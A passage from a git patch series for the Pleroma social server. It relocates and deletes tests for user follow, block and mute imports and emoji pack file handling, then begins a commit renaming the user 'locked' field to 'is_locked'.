json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/mutes_import" do + # Note: "follow" or "write:mutes" permission is required + setup do: oauth_access(["write:mutes"]) + + test "it returns HTTP 200", %{user: user, conn: conn} do + user2 = insert(:user) + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + assert Pleroma.User.mutes?(user, user2) + end + + test "it imports mutes users from file", %{user: user, conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{ + "list" => %Plug.Upload{path: "mutes_list.txt"} + }) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end + + test "it imports mutes with different nickname variations", %{user: user, conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end +end diff --git a/test/pleroma/web/rich_media/helpers_test.exs b/test/pleroma/web/rich_media/helpers_test.exs index 4b97bd66b..4c9ee77d0 100644 --- a/test/pleroma/web/rich_media/helpers_test.exs +++ b/test/pleroma/web/rich_media/helpers_test.exs @@ -6,7 +6,6 @@ defmodule Pleroma.Web.RichMedia.HelpersTest do use Pleroma.DataCase alias Pleroma.Config - alias Pleroma.Object alias Pleroma.Web.CommonAPI alias Pleroma.Web.RichMedia.Helpers diff --git a/test/user/import_test.exs b/test/user/import_test.exs deleted file mode 100644 index e404deeb5..000000000 --- a/test/user/import_test.exs +++ /dev/null @@ -1,76 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.ImportTest do - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "follow_import" do - test "it imports user followings from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.Import.follow_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - assert User.following?(user1, user2) - assert User.following?(user1, user3) - end - end - - describe "blocks_import" do - test "it imports user blocks from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.Import.blocks_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - assert User.blocks?(user1, user2) - assert User.blocks?(user1, user3) - end - end - - describe "mutes_import" do - test "it imports user mutes from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.Import.mutes_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - assert User.mutes?(user1, user2) - assert User.mutes?(user1, user3) - end - end -end diff --git a/test/user/query_test.exs b/test/user/query_test.exs deleted file mode 100644 index e2f5c7d81..000000000 --- a/test/user/query_test.exs +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.QueryTest do - use Pleroma.DataCase, async: true - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.User.Query - alias Pleroma.Web.ActivityPub.InternalFetchActor - - import Pleroma.Factory - - describe "internal users" do - test "it filters out internal users by default" do - %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() - - assert [_user] = User |> Repo.all() - assert [] == %{} |> Query.build() |> Repo.all() - end - - test "it filters out users without nickname by default" do - insert(:user, %{nickname: nil}) - - assert [_user] = User |> Repo.all() - assert [] == %{} |> Query.build() |> Repo.all() - end - - test "it returns internal users when enabled" do - %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() - insert(:user, %{nickname: nil}) - - assert %{internal: true} |> Query.build() |> Repo.aggregate(:count) == 2 - end - end -end diff --git a/test/utils_test.exs b/test/utils_test.exs deleted file mode 100644 index 460f7e0b5..000000000 --- a/test/utils_test.exs +++ /dev/null @@ -1,15 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UtilsTest do - use ExUnit.Case, async: true - - describe "tmp_dir/1" do - test "returns unique temporary directory" do - {:ok, path} = Pleroma.Utils.tmp_dir("emoji") - assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ - File.rm_rf(path) - end - end -end diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs deleted file mode 100644 index 82de86ee3..000000000 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ /dev/null @@ -1,357 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do - use Pleroma.Web.ConnCase - - import Tesla.Mock - import Pleroma.Factory - - @emoji_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) - - setup do: clear_config([:instance, :public], true) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - admin_conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - Pleroma.Emoji.reload() - {:ok, %{admin_conn: admin_conn}} - end - - describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/files?name=:name" do - setup do - pack_file = "#{@emoji_path}/test_pack/pack.json" - original_content = File.read!(pack_file) - - on_exit(fn -> - File.write!(pack_file, original_content) - end) - - :ok - end - - test "upload zip file with emojies", %{admin_conn: admin_conn} do - on_exit(fn -> - [ - "128px/a_trusted_friend-128.png", - "auroraborealis.png", - "1000px/baby_in_a_box.png", - "1000px/bear.png", - "128px/bear-128.png" - ] - |> Enum.each(fn path -> File.rm_rf!("#{@emoji_path}/test_pack/#{path}") end) - end) - - resp = - admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - file: %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/fixtures/emojis.zip") - } - }) - |> json_response_and_validate_schema(200) - - assert resp == %{ - "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", - "auroraborealis" => "auroraborealis.png", - "baby_in_a_box" => "1000px/baby_in_a_box.png", - "bear" => "1000px/bear.png", - "bear-128" => "128px/bear-128.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - Enum.each(Map.values(resp), fn path -> - assert File.exists?("#{@emoji_path}/test_pack/#{path}") - end) - end - - test "create shortcode exists", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => "An emoji with the \"blank\" shortcode already exists" - } - end - - test "don't rewrite old emoji", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank", - new_shortcode: "blank2", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => - "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" - } - end - - test "rewrite old emoji with force option", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png", - force: true - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank4" => "dir_2/blank_3.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - end - - test "with empty filename", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank2", - filename: "", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(422) == %{ - "error" => "pack name, shortcode or filename cannot be empty" - } - end - - test "add file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=not_loaded", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=blank3") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with empty shortcode", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "update file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=not_loaded", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "new with shortcode as file with update", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank4", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank4" => "dir/blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank3" => "dir_2/blank_3.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir/") - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir_2/") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) - end - - test "new with shortcode from url", %{admin_conn: admin_conn} do - mock(fn - %{ - method: :get, - url: "https://test-blank/blank_url.png" - } -> - text(File.read!("#{@emoji_path}/test_pack/blank.png")) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank_url", - file: "https://test-blank/blank_url.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank_url" => "blank_url.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) - end - - test "new without shortcode", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - file: %Plug.Upload{ - filename: "shortcode.png", - path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "shortcode" => "shortcode.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - end - - test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update non existing emoji", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update with empty shortcode", %{admin_conn: admin_conn} do - assert %{ - "error" => "Missing field: new_shortcode." - } = - admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) - end - end -end diff --git a/test/web/pleroma_api/controllers/user_import_controller_test.exs b/test/web/pleroma_api/controllers/user_import_controller_test.exs deleted file mode 100644 index 433c97e81..000000000 --- a/test/web/pleroma_api/controllers/user_import_controller_test.exs +++ /dev/null @@ -1,235 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - - import Pleroma.Factory - import Mock - - setup do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "POST /api/pleroma/follow_import" do - setup do: oauth_access(["follow"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) - |> json_response_and_validate_schema(200) - end - - test "it imports follow lists from file", %{conn: conn} do - user2 = insert(:user) - - with_mocks([ - {File, [], - read!: fn "follow_list.txt" -> - "Account address,Show boosts\n#{user2.ap_id},true" - end} - ]) do - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{ - "list" => %Plug.Upload{path: "follow_list.txt"} - }) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2] - end - end - - test "it imports new-style mastodon follow lists", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{ - "list" => "Account address,Show boosts\n#{user2.ap_id},true" - }) - |> json_response_and_validate_schema(200) - - assert response == "job started" - end - - test "requires 'follow' or 'write:follows' permissions" do - token1 = insert(:oauth_token, scopes: ["read", "write"]) - token2 = insert(:oauth_token, scopes: ["follow"]) - token3 = insert(:oauth_token, scopes: ["something"]) - another_user = insert(:user) - - for token <- [token1, token2, token3] do - conn = - build_conn() - |> put_req_header("authorization", "Bearer #{token.token}") - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) - - if token == token3 do - assert %{"error" => "Insufficient permissions: follow | write:follows."} == - json_response(conn, 403) - else - assert json_response(conn, 200) - end - end - end - - test "it imports follows with different nickname variations", %{conn: conn} do - users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - " ", - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join("\n") - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{"list" => identifiers}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - end - end - - describe "POST /api/pleroma/blocks_import" do - # Note: "follow" or "write:blocks" permission is required - setup do: oauth_access(["write:blocks"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) - |> json_response_and_validate_schema(200) - end - - test "it imports blocks users from file", %{conn: conn} do - users = [user2, user3] = insert_list(2, :user) - - with_mocks([ - {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} - ]) do - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/blocks_import", %{ - "list" => %Plug.Upload{path: "blocks_list.txt"} - }) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - end - end - - test "it imports blocks with different nickname variations", %{conn: conn} do - users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - end - end - - describe "POST /api/pleroma/mutes_import" do - # Note: "follow" or "write:mutes" permission is required - setup do: oauth_access(["write:mutes"]) - - test "it returns HTTP 200", %{user: user, conn: conn} do - user2 = insert(:user) - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2] - assert Pleroma.User.mutes?(user, user2) - end - - test "it imports mutes users from file", %{user: user, conn: conn} do - users = [user2, user3] = insert_list(2, :user) - - with_mocks([ - {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} - ]) do - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/mutes_import", %{ - "list" => %Plug.Upload{path: "mutes_list.txt"} - }) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) - end - end - - test "it imports mutes with different nickname variations", %{user: user, conn: conn} do - users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) - end - end -end -- cgit v1.2.3 From 9968b7efedc64d0239db5578de7fc66ff4ce894d Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 09:31:13 -0500 Subject: Change user.locked field to user.is_locked --- lib/mix/tasks/pleroma/user.ex | 6 ++-- lib/pleroma/user.ex | 12 ++++---- lib/pleroma/web/activity_pub/activity_pub.ex | 4 +-- lib/pleroma/web/activity_pub/side_effects.ex | 2 +- lib/pleroma/web/activity_pub/views/user_view.ex | 2 +- lib/pleroma/web/admin_api/views/account_view.ex | 2 +- .../web/api_spec/operations/account_operation.ex | 2 +- .../web/api_spec/operations/chat_operation.ex | 2 +- lib/pleroma/web/api_spec/schemas/account.ex | 4 +-- lib/pleroma/web/api_spec/schemas/chat.ex | 2 +- lib/pleroma/web/api_spec/schemas/status.ex | 2 +- .../mastodon_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/mastodon_api/views/account_view.ex | 2 +- .../20201013141127_refactor_locked_user_field.exs | 15 +++++++++ test/notification_test.exs | 8 ++--- test/tasks/user_test.exs | 6 ++-- test/user_test.exs | 18 +++++------ test/web/activity_pub/activity_pub_test.exs | 2 +- .../transmogrifier/accept_handling_test.exs | 4 +-- .../transmogrifier/follow_handling_test.exs | 4 +-- .../transmogrifier/reject_handling_test.exs | 4 +-- .../transmogrifier/user_update_handling_test.exs | 2 +- test/web/activity_pub/utils_test.exs | 4 +-- test/web/common_api/common_api_test.exs | 10 +++--- .../account_controller/update_credentials_test.exs | 2 +- .../controllers/account_controller_test.exs | 2 +- .../controllers/follow_request_controller_test.exs | 2 +- test/web/mastodon_api/views/account_view_test.exs | 36 +++++++++++----------- 28 files changed, 89 insertions(+), 74 deletions(-) create mode 100644 priv/repo/migrations/20201013141127_refactor_locked_user_field.exs diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index e06262804..a8d251411 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -419,7 +419,7 @@ def run(["list"]) do |> Enum.each(fn user -> shell_info( "#{user.nickname} moderator: #{user.is_moderator}, admin: #{user.is_admin}, locked: #{ - user.locked + user.is_locked }, deactivated: #{user.deactivated}" ) end) @@ -447,10 +447,10 @@ defp set_admin(user, value) do defp set_locked(user, value) do {:ok, user} = user - |> Changeset.change(%{locked: value}) + |> Changeset.change(%{is_locked: value}) |> User.update_and_set_cache() - shell_info("Locked status of #{user.nickname}: #{user.locked}") + shell_info("Locked status of #{user.nickname}: #{user.is_locked}") user end diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 09ea80793..87c8bfbd1 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -107,7 +107,7 @@ defmodule Pleroma.User do field(:note_count, :integer, default: 0) field(:follower_count, :integer, default: 0) field(:following_count, :integer, default: 0) - field(:locked, :boolean, default: false) + field(:is_locked, :boolean, default: false) field(:confirmation_pending, :boolean, default: false) field(:password_reset_pending, :boolean, default: false) field(:approval_pending, :boolean, default: false) @@ -436,7 +436,7 @@ def remote_user_changeset(struct \\ %User{local: false}, params) do :avatar, :ap_enabled, :banner, - :locked, + :is_locked, :last_refreshed_at, :uri, :follower_address, @@ -479,7 +479,7 @@ def update_changeset(struct, params \\ %{}) do :public_key, :inbox, :shared_inbox, - :locked, + :is_locked, :no_rich_text, :default_scope, :banner, @@ -847,7 +847,7 @@ def needs_update?(_), do: true @spec maybe_direct_follow(User.t(), User.t()) :: {:ok, User.t()} | {:error, String.t()} # "Locked" (self-locked) users demand explicit authorization of follow requests - def maybe_direct_follow(%User{} = follower, %User{local: true, locked: true} = followed) do + def maybe_direct_follow(%User{} = follower, %User{local: true, is_locked: true} = followed) do follow(follower, followed, :follow_pending) end @@ -954,7 +954,7 @@ def get_follow_state( end def locked?(%User{} = user) do - user.locked || false + user.is_locked || false end def get_by_id(id) do @@ -1601,7 +1601,7 @@ def purge_user_changeset(user) do note_count: 0, follower_count: 0, following_count: 0, - locked: false, + is_locked: false, confirmation_pending: false, password_reset_pending: false, approval_pending: false, diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index eb44cffec..8022f0402 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -1228,7 +1228,7 @@ defp object_to_user_data(data) do {String.trim(name, ":"), url} end) - locked = data["manuallyApprovesFollowers"] || false + is_locked = data["manuallyApprovesFollowers"] || false capabilities = data["capabilities"] || %{} accepts_chat_messages = capabilities["acceptsChatMessages"] data = Transmogrifier.maybe_fix_user_object(data) @@ -1257,7 +1257,7 @@ defp object_to_user_data(data) do banner: banner, fields: fields, emoji: emojis, - locked: locked, + is_locked: is_locked, discoverable: discoverable, invisible: invisible, avatar: avatar, diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index 2eec0ce86..d421ca7af 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ b/lib/pleroma/web/activity_pub/side_effects.ex @@ -102,7 +102,7 @@ def handle( %User{} = followed <- User.get_cached_by_ap_id(followed_user), {_, {:ok, _}, _, _} <- {:following, User.follow(follower, followed, :follow_pending), follower, followed} do - if followed.local && !followed.locked do + if followed.local && !followed.is_locked do {:ok, accept_data, _} = Builder.accept(followed, object) {:ok, _activity, _} = Pipeline.common_pipeline(accept_data, local: true) end diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex index 3a4564912..c6dee61db 100644 --- a/lib/pleroma/web/activity_pub/views/user_view.ex +++ b/lib/pleroma/web/activity_pub/views/user_view.ex @@ -101,7 +101,7 @@ def render("user.json", %{user: user}) do "name" => user.name, "summary" => user.bio, "url" => user.ap_id, - "manuallyApprovesFollowers" => user.locked, + "manuallyApprovesFollowers" => user.is_locked, "publicKey" => %{ "id" => "#{user.ap_id}#main-key", "owner" => user.ap_id, diff --git a/lib/pleroma/web/admin_api/views/account_view.ex b/lib/pleroma/web/admin_api/views/account_view.ex index 9c477feab..bda7ea19c 100644 --- a/lib/pleroma/web/admin_api/views/account_view.ex +++ b/lib/pleroma/web/admin_api/views/account_view.ex @@ -39,7 +39,7 @@ def render("credentials.json", %{user: user, for: for_user}) do :fields, :name, :nickname, - :locked, + :is_locked, :no_rich_text, :default_scope, :hide_follows, diff --git a/lib/pleroma/web/api_spec/operations/account_operation.ex b/lib/pleroma/web/api_spec/operations/account_operation.ex index d90ddb787..57f25e1d8 100644 --- a/lib/pleroma/web/api_spec/operations/account_operation.ex +++ b/lib/pleroma/web/api_spec/operations/account_operation.ex @@ -519,7 +519,7 @@ defp update_credentials_request do description: "Header image encoded using multipart/form-data", format: :binary }, - locked: %Schema{ + is_locked: %Schema{ allOf: [BooleanLike], nullable: true, description: "Whether manual approval of follow requests is required." diff --git a/lib/pleroma/web/api_spec/operations/chat_operation.ex b/lib/pleroma/web/api_spec/operations/chat_operation.ex index 0dcfdb354..df786e480 100644 --- a/lib/pleroma/web/api_spec/operations/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/chat_operation.ex @@ -259,7 +259,7 @@ def chats_response do "fields" => [] }, "statuses_count" => 1, - "locked" => false, + "is_locked" => false, "created_at" => "2020-04-16T13:40:15.000Z", "display_name" => "lain", "fields" => [], diff --git a/lib/pleroma/web/api_spec/schemas/account.ex b/lib/pleroma/web/api_spec/schemas/account.ex index ca79f0747..b8ddf4ab8 100644 --- a/lib/pleroma/web/api_spec/schemas/account.ex +++ b/lib/pleroma/web/api_spec/schemas/account.ex @@ -32,7 +32,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.Account do header_static: %Schema{type: :string, format: :uri}, header: %Schema{type: :string, format: :uri}, id: FlakeID, - locked: %Schema{type: :boolean}, + is_locked: %Schema{type: :boolean}, note: %Schema{type: :string, format: :html}, statuses_count: %Schema{type: :integer}, url: %Schema{type: :string, format: :uri}, @@ -159,7 +159,7 @@ defmodule 